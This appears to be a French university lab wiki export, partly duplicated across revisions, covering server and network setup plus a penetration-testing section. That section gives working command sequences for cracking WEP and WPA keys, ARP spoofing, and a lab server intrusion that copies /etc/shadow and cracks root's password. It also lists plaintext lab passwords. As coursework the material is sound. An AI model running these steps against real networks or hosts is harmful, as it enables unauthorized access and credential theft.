On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
<code>roles/iptables/tasks/main.yml</code><br />
---<br />
<br />
- name: Allow ports INPUT tcp<br />
iptables:<br />
chain: INPUT<br />
protocol: tcp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_tcp_ports } }"<br />
<br />
- name: Allow ports INPUT udp<br />
iptables:<br />
chain: INPUT<br />
protocol: udp<br />
destination_port: "{ { item } }"<br />
jump: ACCEPT<br />
ctstate: NEW,ESTABLISHED<br />
loop: "{ { iptables_accepted_udp_ports } }"<br />
<br />
- name: Set the policy for the INPUT chain to DROP<br />
ansible.builtin.iptables:<br />
chain: INPUT<br />
policy: DROP<br />
<br />
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la <code>POLICY</code> à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)<br />
<br />
Nos ports sont variabilisés:<br />
<br />
<code>roles/iptables/defaults/main.yml</code><br />
---<br />
<br />
iptables_accepted_tcp_ports:<br />
- 8600<br />
- 8500<br />
- 8501<br />
- 8502<br />
- 8301<br />
- 8302<br />
- 8300 <br />
- 22<br />
- 80<br />
- 443<br />
<br />
iptables_accepted_udp_ports:<br />
- 8600<br />
- 8301<br />
- 8302<br />
- 22<br />
- 80<br />
- 443<br />
<br />
voilà<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{{ item }}"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com {{ ansible_distribution_release }} main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: config.json<br />
dest: /etc/consul/server.json<br />
owner: consul<br />
group: consul<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Et le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57984TP sysres IMA5 2021/2022 G62022-01-12T12:07:05Z<p>Lwadbled : /* Consul */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
